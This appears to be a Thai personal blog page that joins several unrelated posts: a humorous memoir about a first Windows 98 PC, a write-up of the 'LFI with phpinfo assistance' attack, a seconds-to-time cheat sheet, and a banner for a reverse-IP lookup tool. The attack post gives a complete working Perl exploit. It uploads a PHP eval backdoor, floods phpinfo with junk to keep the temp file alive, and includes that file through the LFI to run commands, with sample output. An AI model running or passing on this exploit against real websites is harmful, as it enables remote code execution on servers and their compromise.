Power Supply : AT ??? Watt (กี่ Watt ไม่รู้ รู้แต่ว่าเวลา Shutdown แล้ว ต้องกดปิดที่เครื่องซ้ำอีก 1 ที เพราะ มันไม่ดับ Auto บบ ATX ของ ปัจจุบันอ่ะ .. เกิดไม่ทันกันอ่ะดิ !!)
OS : Windows 98 Second Edition (ที่มาของชื่อผม … แต่ยัง .. ยังไม่จบ ยังมีวีระกรรม วีรเวร อีกนิด)
ราคา 35,200 บาท !! (ไอ้ที่กล่าวมาเนี้ย spec ตัว รอง top ของสมัยนั้นเชียวนะ !! ตัว Top CPU 333Mhz แพงขึ้นไปอีก 3 พัน -.,-”)
เอาเป็นว่า ตอนสมัยนั้น ทั้งจังหวัดกระบี่
เด็ก ม. 5 ที่รู้จักกันนั้น มีคอมแค่ 3 คน คือ ตาเล็ก ไอ้ก้อง และ ไอ้ชาย

พอเปิดคอมครั้งแรก … ไอ้เย็กเปกเอร้ยยยย
ทำไมไม่ เป็น หน้าจอ ดำๆ แบบที่กรูว์รู้จักวะ !!
(เอ้า มึงไม่ได้ใช้คอม ตั้งหลายปี เค้าก็พัฒนาไปไหนต่อไหนแล้ว ซิวะ)
ทำไมมันมี เม้า ด้วย ไอ้เม้านี่มันไว้ทำอะไรวะสาด !!
ทำไม drive A: มันเล็กลง เหลือ 3.5″ ละ ละ ละ แล้วแผ่น 5.2″ ที่กูเก็บไว้จะเสียบรูไหน !!
แล้วกูจะเล่นเกมส์ได้ไงวะ ในเมื่อ เกมส์กู มันใช้แผ่น 5.2″ !!

แมร่งเอ้ย .. ซื้อคอมเครื่องแรกมา เกมส์ก็ไม่ได้เล่น,
ใช้ก็ไม่เป็น, shutdown คืออะไรก็ไม่รู้จัก, เม้าแม่งมีไว้ทำไรวะ
เอาหน้าจอ ดำๆ กับ รูใส่แผ่น disk 5.2″ กรูคืนมาาาาาาา
แล้วทีนี้ เวลาจะปิดคอม ผมก็ กดตรงปุ่ม Power มันเลย
เวลาตอนเปิดมันก็จะ scan disk (ตรวจดูว่า HD เสียจากการปิดเครื่องแบบ ไม่ shutdown มั้ย)
ผมก็คิด โอ้ว คอมกู scan ไวรัสทุกครั้งที่เปิดเครื่องซะด้วย !! (คอมจะพังมันยังไม่รู้ตัว -.,-”)

หลังจากได้คอมมาในวันที่ 3 หน้าจอ ดำๆ มันก็กลับมาในชีวิตผมอีกครั้ง
หลังจาก ไม่เจอมันมาหลายปี
แต่ … แต่ … … แต่ … … … ใช่แล้วคับพี่น้อง
มันคือ อาการเข้า windows ไม่ได้ หรือ windows พัง ผลคือบูทไม่ขึ้นนี่เอง

ซื้อคอมได้ วันที่ 3 ก็ได้ตามช่างคอมครั้งแรกเลยครับพี่น้อง ครับ …
พอช่างมาปุ๊ป เค้าก็เข้าไป drive d: แล้ว เข้า setup.exe
(โชคดี ผมรู้คำสั่ง dos หน้าจอ ดำๆ เลยแอบจำว่ามันอยุ่ไหน ช่างเข้าทางไหน)
แล้วก็ setup ใหม่จาก drive d:

หลังจาก ช่าง setup ใหม่ทับของเดิม
(ไม่ได้ลง win ใหม่นะ ประมาณว่า repair อ่ะ กึ่งๆ กู้ file boot กลับมากลับมา มันก็เปิดได้เหมือนเดิม)
ผมก็ขอบคุณๆ แล้วก็ กดปุ่ม ปิดคอมต่อหน้า ช่าง โดยไม่ได้ shutdown !!!
คุณมึงเอ๋ย ลองคิดสภาพหน้าช่างในตอนนั้น แบบ อึ้ง ทึ่ง ตกใจ
(คงมีโกดกูด้วยล่ะมั่ง เพราะ มันรู้อนาคตเลยว่า ไม่เกิน 3 วัน มันได้มาบ้านกูอีกทีแน่นอน ถ้ากูยังกดปิดคอม โดยไม่กด shutdown 555+)
ช่างก็เลยสอน shutdown ให้ผม (คิดดูว่า ผมสุโค่ย ขนาดต้องมีคนสอนให้ shutdown คอมอ่ะ!!)
แล้วคุณครูช่างของผมก็ใช้ให้ผมไปซื้อหนังสือสอน windows 98 มาอ่าน

พอวันที่ 6 หลังจากปีกเริ่มงอก
ก็เริ่มจะบิน โดยการ เข้าไป ซน หา file .exe , .com ทุก file ที่มีบนเครื่อง
เพราะคิดว่า มันน่าจะมีเกมส์ ซ่อนอยุ่
คือ จำได้ว่าตอน เวลาเข้าเกมส์ ใน dos นั้นพิมพ์ dave.exe
แล้วมันเป็นเกมส์ ดังนั้น .exe มันก็คือเกมส์ !!
ผมก็เลยเข้าไป ดับเบิลคลิก ทุก file ที่เป็น .exe ทั้งใน windows
ใน system และ system32 … เอ๊ะ ไม่มีเกมส์
เปลี่ยนแผนเป็น ดับเบิลคลิก ทุก file ที่เป็น .com ทั้งใน windows
ใน system และ system32 … เอ๊ะ ไม่มีเกมส์
เปลี่ยนแผนเป็น ดับเบิลคลิก ทุก file ที่เป็น .dll ทั้งใน windows
ใน system และ system32 … เอ๊ะ ไม่มีเกมส์
.. ยอมแพ้ เพราะหาเกมส์ไม่เจอ แล้วก็ shutdown ไป
(shutdown เป็นแล้วคับพี่น้องคร๊าบ)

วันที่ 7 การซนของผมก็บังเกิดผลคับ … คอมบูทไม่ขึ้น
จำได้แม่นเลยว่า หน้าซีด เหงือแตก หมดแรง เพลียๆ
เหมือนคนจะเป็นลม จากผลงานที่เพิ่งสร้างขึ้น
ผมก็ลองมุข ช่างสารพัด .. ก็ไม่ได้ผล เล่าเอาซีดหนักกว่าเดิม
ในใจคิดว่า … กรูต้องโดนแม่ด่าแน่ๆ เพราะกรูทำคอมพังอีกแล้ว
นี่คดีเก่า ยังไม่สรุปสำนวน ส่งฟ้อง แมร่งดันสร้างคดีใหม่แบบเดิมอีกแล้ว
มึงนี้ไม่เข็ด ไม่กลัวโทษประหารใช่มั้ย
… ไอ้เล็กเอ๋ย คราวนี้ โทรประหาร รออยู่ตรงหน้าแล้วววว ตายสถานเดียว

ก็เลยต้องยกไปหาช่าง เพราะ ช่างเค้าบอกว่าไม่ว่างมาที่บ้าน
(ผมคิดในใจว่ามันอ้างแน่นอน -.,-”)
แล้วก็โดนแม่ด่า อีก 1 ชุดใหญ่

เพราะเหตุฉะนี้ … เจ้า OS ที่ชื่อว่า Windows 98 Second Edition
หรือ windows98SE มันก็เลย อยู่ในใจผมเรื่อยมา ^^”

ปล. ยาวสาด พิมพ์ไปได้ไงวะกรูว์

ชำแหละ ช่องโหว่ LFI With PHPInfo Assistance

#########################
# LFI With PHPInfo Assistance
# POC -> http://www.exploit-db.com/download_pdf/17799

[คหสต.]
ช่องโหว่ ทาง LFI เนี่ย เป็นมุขแฮกเวปที่เก่ามากแล้ว (ตั้งแต่ php 4+)
พอ php 5 มา .. คนก็ไปใช้ function file_get_contents แทน include ซะหมด
ดังนั้น LFI จะหาแฮกยากหน่อย .. ( แต่ส่วนมาก sv ของเกาหลียังพอจะหาเวปที่รั่ว แนวๆ นี้ได้อยู่บ้าง )
ซึ่งตามปกติ LFI จะเป็นการ เรียก file อื่นมาอ่าน เช่น /etc/passwd หรือ wp-config.php ทั่วๆ ไปเป็นต้น
ซึ่งช่องโหว่ LFI เนี้ยไม่สามารถ สั่ง คำสั่ง command line ได้ … (แต่ มันก็ยังพอจะมีวิธี ^^”)

และเจ้า LFI With PHPInfo Assistance ก็เป็น หนึ่ง ในวิธี ที่พูดถึง (วิธีอื่น อย่าถาม .. ผมไม่ตอบ เพราะผมกั๊ก *0*)

#########################
# เงื่อนไขหลักๆ (ผมก็ไม่ค่อย แน่ใจนะ ว่า จำกัด version ของ php รึเปล่า )
1. มีหน้า phpinfo ( เพราะจะต้องใช้คำสั่ง จาก ฟังชั่น นี้ )
phpinfo.php


2. มีหน้าที่ รั่ว LFI ( ตอนนี้หายากแล้วล่ะมั้ง T^T )
lfi.php


3. ค่าใน php.ini ต้องตั้ง file_uploads = On (ปกติ ก็น่าจะเป็น On หมดนั่นแหละ)

#########################
# หลักการ
ตามปกติ หากเรา ทำการ upload file ใน php เนี้ย
พวก file ที่เรา upload ขึ้นไปนั้นจะถูกเขียน ลงใน temp ก่อน
(ดูตรง upload_tmp_dir อ่ะ .. ปกติมันจะว่าง ก็เดาซะว่าอยู่ที่ /tmp แล้วกัน)
พอ upload ขึ้นไปปุ๊ป เจ้า php จึงจะ ย้ายมาไว้ใน ตำแหน่งที่เราระบุไว้
ซึ่งชื่อ ใน temp ก็จะสุ่มมั่วๆ ซะด้วย และไฟล์ ก็จากหายไปจาก temp อัตโนมัติ
เมื่อหมด session ( ประมาณว่า เมื่อหน้า page นั้นโหลดเสร็จ .. ไฟล์มันจะหายไปเองจาก /tmp )

ทีนี้ หากเราทำการ upload file ที่มี evil code ขึ้นเวป เพื่อที่จะให้สามารถสั่ง exec ได้
เจ้า file โจรๆ ของเรามันก็จะต้องไปอยู่ใน temp จนกว่าหน้าเวปนั้นจะโหลดเสร็จ … จริงมั้ย ?

ทีนี้ หากเราสั่งให้ lfi.php มันดึง file โจรๆ ที่เรา upload ขึ้นไป
จาก LFI ธรรมดา มันก็จะกลายไปเป็น Remote Exec ทันที … จริงมั้ย ?

#########################
# คำถามที่คนอ่าน ที่ชอบเรื่องแฮกๆ จะต้องผุดขึ้นมา คือ

- ทำไง ถึงจะรู้ว่า File ที่ อัพไป .. ชื่อไฟล์อะไร .. ในเมื่อ ก็บอกอยู่ว่ามันสุ่ม !!
คำตอบคือ .. มันจะบอกอยุ่ใน phpinfo.php ตรงค่า “PHP Variables” ไง

- ทำไงให้ file นั้น อยู่นานๆ … นาน น๊าน นาน นาน นานนนนนน พอที่จะรันคำสั่งเสร็จ ก่อนที่จะโดนลบ?
คำตอบคือ .. ทำให้ฟังชั่น phpinfo(); ทำงาน นานๆ
โดยการ ส่ง junk code ไปเยอะๆ เช่น ส่งไปใน header, ในค่า post, ใน ค่า file upload, ฯลฯ

#########################
# Exploit Code –> [perl][/perl] http://pastebin.com/2m6mz8Mz
- fake header z (ส่ง HEADER Z ไป 3000 ตัวอักษร)
- ส่ง file ไป 40 file (ชื่อไฟล์ คือ จำนวนที่ N ตามด้วย > ยาว 100000 ตัวอักษร)
เท่านี้ code ที่สั่ง run ก็จะ ทำงาน แล้ว นั่นเอง *0*

#!/usr/bin/perl -w
use IO::Socket;
use MIME::Base64;
use HTTP::Cookies;
use LWP::UserAgent;

my $HOST='';
my $PATH='';

my $LFI_URL= $ARGV[1] || 'http://localhost/lfi.php?page=';
my $COMMAND= $ARGV[2] || 'system("uname -a");';
$COMMAND = encode_base64($COMMAND);
$COMMAND =~s/\s+//ig;

if($ARGV[0]=~m#http://([^/]+)(/.+)#){
$HOST=$1;
$PATH=$2;
}else{
die "[!] wrong host !?\n";
}

my $CRLF = "\r\n";
my $SOCK = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $HOST,
PeerPort => 80,
) or die ("[!] Can't creat socket\n");
setsockopt($SOCK, SOL_SOCKET, SO_RCVBUF,pack("I",'1024'));
$SOCK->autoflush(1);
my $BOUNDARY = "-----whoami".int(rand(9999));

my $HEADER .= 'POST '.$PATH.' HTTP/1.0'.$CRLF;
$HEADER .= 'Host: '.$HOST.$CRLF;
$HEADER .= 'User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'.$CRLF;
$HEADER .= 'Content-Type: multipart/form-data; boundary='.$BOUNDARY.$CRLF;
$HEADER .= 'z:'.("Z" x 3000).$CRLF;
for(my $i=0; $i<30; $i++){$HEADER .= 'z'.$i.': '.$i.$CRLF;}

$HEADER .= 'Content-Length: ';
my $CONTENT .= '--'.$BOUNDARY.$CRLF;
$CONTENT .= 'Content-Disposition: form-data; name="tfile"; filename="elif.html"'.$CRLF;
$CONTENT .= 'Content-Type: text/html'.$CRLF.$CRLF;
$CONTENT .= '<?@eval(base64_decode($_SERVER[HTTP_THD]));exit;?>'.$CRLF;
$CONTENT .= '--'.$BOUNDARY.'--'.$CRLF;
for(my $i=0; $i<40;$i++){
$CONTENT .= '--'.$BOUNDARY.$CRLF;
$CONTENT .= 'Content-Disposition: form-data; name="junkfile'.$i.'"; filename="junkfile'.$i.('>' x 100000).'"'.$CRLF;
$CONTENT .= 'Content-Type: text/html'.$CRLF.$CRLF;
$CONTENT .= 'jumk'.$CRLF;
$CONTENT .= '--'.$BOUNDARY.'--'.$CRLF;
}
$HEADER .= length($CONTENT).$CRLF.$CRLF.$CONTENT;
print $SOCK $HEADER;

while($line=<$SOCK>){
if($line =~ m#tmp_name].+(/tmp/php.+)$#) {
my $tmpfile = $1;
my $cookie_jar = HTTP::Cookies->new(autosave =>1, hide_cookie2=>1);
my $browser = LWP::UserAgent->new(
agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
timeout => 8,
max_redirect => 0,
cookie_jar => $cookie_jar
);
$browser->default_header('THD'=>$COMMAND);
my $content_rce = $browser->get($LFI_URL.$tmpfile)->content;
print $content_rce;
exit;
}
}

#########################
# ตัวอย่าง การทดลองสั่ง ‘uname -a’
#########################
pirate@BlackBuntu~/Desktop$ ./phpinfo_exploit.pl http://localhost/phpinfo.php http://localhost/lfi.php?page= "system('uname -a');"

Linux BlackBuntu 2.6.38-10-generic #44-Ubuntu SMP Thu Jun 2 21:32:22 UTC 2011 x86_64 GNU/Linux

TIME CHEAT SHEET

จำนวนเวลา เอาไว้ เปรียบเทียบค่า วินาทีเป็น นาที, ชม., วัน, เดือน


# TIME CHEAT SHEET
# 300 5 MIN
# 600 10 MIN
# 900 15 MIN
# 1800 30 MIN
# 2700 45 MIN
#
# 3600 1 HR
# 7200 2 HR
# 10800 3 HR
# 14400 4 HR
# 18000 5 HR
# 36000 10 HR
# 39600 11 HR
# 43200 12 HR
# 46800 13 HR
# 50400 14 HR
# 54000 15 HR
# 86400 24 HR
#
# 86400 1 DAY
# 172800 2 DAY
# 259200 3 DAY
# 345600 4 DAY
# 432000 5 DAY
# 518400 6 DAY
# 604800 7 DAY
#
# 604800 1 WEEK
# 1209600 2 WEEK
# 1814400 3 WEEK
# 2419200 4 WEEK
#
# 2419200 1 MONTH
# 4838400 2 MONTH
# 7257600 3 MONTH
# 9676800 4 MONTH
# 12096000 5 MONTH
# 14515200 6 MONTH
# 16934400 7 MONTH
# 19353600 8 MONTH
# 21772800 9 MONTH
# 24192000 10 MONTH
# 26611200 11 MONTH
# 29030400 12 MONTH

Network error codes (This section contains the codes of network errors and their description.)

บทความ สำหรับ โปรแกรมเมอร์ หรือ คนใช้โปรแกรม
ที่ตัวโปรแกรมต้องทำงาน เกี่ยวข้องกับ ระบบ network
แล้วเวลา เปิด โปรแกรม มาเจอ error ที่เป็น ตัวเลข (เช่น 10013)
อ่านบทความนี้ แล้ว อ้างอิง เอา ก็จะได้เข้าใจว่า ทำไม มันถึง error อย่าง นั้น ขึ้นมา


Friday, May 11, 2012

Reverse IP Service

=================================================================
░░░░░░░░░░░░▄▄░░░░░░░░░░░░░░ Copyright (c) 2011 by windows98SE
░░░░░░░░░░░█░░█░░░░░░░░░░░░░
░░░░░░░░░░░█░░█░░░░░░░░░░░░░ This software is open source,
░░░░░░░░░░█░░░█░░░░░░░░░░░░░ licensed under the GNU/GPL,v3.
░░░░░░░░░█░░░░█░░░░░░░░░░░░░
██████▄▄█░░░░░██████▄░░░░░░░ Basically,
▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ this means that you're allowed to modify and
▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ distribute this software.
▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ However, if you distribute modified versions,
▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ you MUST also distribute the source code.
▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░
▓▓▓▓▓▓█████░░░░░░░░░██░░░░░░ See http://www.gnu.org/licenses/gpl.html
█████▀░░░░▀▀████████░░░░░░░░ for the full license.
=================================================================
Usage: ./re_ip.pl 

re_ip.pl is reverse DNS lookup tool by www.stephack.com/re_ip/
it easy way to view websites hosted on a given IP address or hostnames

Copyright (c) 2011 by windows98SE
Blog: http://www.stephack.com

=================================================================
Usage: ./re_ip.pl 
=================================================================

download
https://github.com/windows98SE/re_ip
Why You Don't LIKE My FaceBook Fanpage ?
×
blogger